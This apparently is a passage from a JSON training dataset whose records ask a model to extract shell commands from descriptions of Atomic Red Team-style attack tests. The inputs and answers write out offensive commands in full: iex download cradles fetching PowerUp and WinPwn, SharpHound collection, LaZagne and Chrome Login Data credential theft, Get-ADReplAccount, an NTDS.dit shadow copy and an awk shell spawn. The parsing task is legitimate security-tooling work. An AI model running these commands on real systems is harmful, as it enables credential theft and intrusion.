Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To compile JavaScript code from scriptfile.js into scriptfile.exe using jsc.exe, follow these steps with the command: copy \"#{filename}\" %TEMP%\\hello.js\n#{jscpath}\\#{jscname} %TEMP%\\hello.js\n; The process involves copying the JavaScript file to a temporary directory and then compiling it with jsc.exe using this command sequence:\ncopy \"#{filename}\" %TEMP%\\LibHello.js\n#{jscpath}\\#{jscname} /t:library %TEMP%\\LibHello.js\n",
    "output": "{\"command_list\": [\"copy \\\"#{filename}\\\" %TEMP%\\\\hello.js\\n#{jscpath}\\\\#{jscname} %TEMP%\\\\hello.js\\n\", \"copy \\\"#{filename}\\\" %TEMP%\\\\LibHello.js\\n#{jscpath}\\\\#{jscname} /t:library %TEMP%\\\\LibHello.js\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This Atomic test leverages LaZagne, an open-source tool for retrieving stored passwords, with the command: \"#{lazagne_path}\" browsers; This technique involves copying Chrome's login data files to simulate credential theft, executed via the command:\nCopy-Item \"$env:LOCALAPPDATA\\Google\\Chrome\\User Data\\Default\\Login Data\" -Destination \"PathToAtomicsFolder\\..\\ExternalPayloads\"\nCopy-Item \"$env:LOCALAPPDATA\\Google\\Chrome\\User Data\\Default\\Login Data For Account\" -Destination \"PathToAtomicsFolder\\..\\ExternalPayloads\"\n",
    "output": "{\"command_list\": [\"\\\"#{lazagne_path}\\\" browsers\\n\", \"Copy-Item \\\"$env:LOCALAPPDATA\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\Login Data\\\" -Destination \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\"\\nCopy-Item \\\"$env:LOCALAPPDATA\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\Login Data For Account\\\" -Destination \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For adding a hidden Calculator launch entry to the loginwindow plist (with macOS version-dependent results), run the following multi-step command:\nFILE=`find ~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist -type f | head -1`\nif [ -z \"${FILE}\" ] ; then echo \"No loginwindow plist file found\" && exit 1 ; fi\necho save backup copy to /tmp/\ncp ${FILE} /tmp/t1547007_loginwindow-backup.plist\necho before\nplutil -p ${FILE}\necho overwriting...\n#{exe_path} ${FILE} && echo after && plutil -p ${FILE}\n; When running this test on a domain controller, you can dump the Active Directory database NTDS.dit by creating a Volume Shadow Copy using the following command:\nvssadmin.exe create shadow /for=#{drive_letter}\n",
    "output": "{\"command_list\": [\"FILE=`find ~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist -type f | head -1`\\nif [ -z \\\"${FILE}\\\" ] ; then echo \\\"No loginwindow plist file found\\\" && exit 1 ; fi\\necho save backup copy to /tmp/\\ncp ${FILE} /tmp/t1547007_loginwindow-backup.plist\\necho before\\nplutil -p ${FILE}\\necho overwriting...\\n#{exe_path} ${FILE} && echo after && plutil -p ${FILE}\\n\", \"vssadmin.exe create shadow /for=#{drive_letter}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The process involves creating a copy of macOS mail data and inserting manipulated content with these commands: \nmkdir ~/Library/Mail/copy\ncp -R ~/Library/Mail/* ~/Library/Mail/copy\necho \"Manipulated data\" > ~/Library/Mail/copy/manipulated.txt\n; To retrieve Active Directory passwords remotely, execute the following command: Get-ADReplAccount -All -Server #{logonserver}",
    "output": "{\"command_list\": [\"mkdir ~/Library/Mail/copy\\ncp -R ~/Library/Mail/* ~/Library/Mail/copy\\necho \\\"Manipulated data\\\" > ~/Library/Mail/copy/manipulated.txt\\n\", \"Get-ADReplAccount -All -Server #{logonserver}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To gather kernel information for targeted attacks, an adversary can use the following command: uname -srm; In awk, the BEGIN rule executes before processing any input records, allowing you to create a shell with the following command: awk 'BEGIN {system(\"/bin/sh &\")}'.",
    "output": "{\"command_list\": [\"uname -srm\\n\", \"awk 'BEGIN {system(\\\"/bin/sh &\\\")}'\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For testing purposes, you can generate significant CPU load that resembles cryptojacking activity via the command: yes > /dev/null. Remember to end the test with CTRL/CMD+C.; To modify the default file association for .hta files from cmd.exe to notepad, use the following command: assoc #{extension_to_change}=#{target_extension_handler}",
    "output": "{\"command_list\": [\"yes > /dev/null\\n\", \"assoc #{extension_to_change}=#{target_extension_handler}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To collect detailed system information, use the Morerecon function of WinPwn with the following command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nMorerecon -noninteractive -consoleoutput; For detecting Resource-Based Constrained Delegation vulnerabilities, use the following command sequence: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nRBCD-Check -consoleoutput -noninteractive",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nMorerecon -noninteractive -consoleoutput\", \"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nRBCD-Check -consoleoutput -noninteractive\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 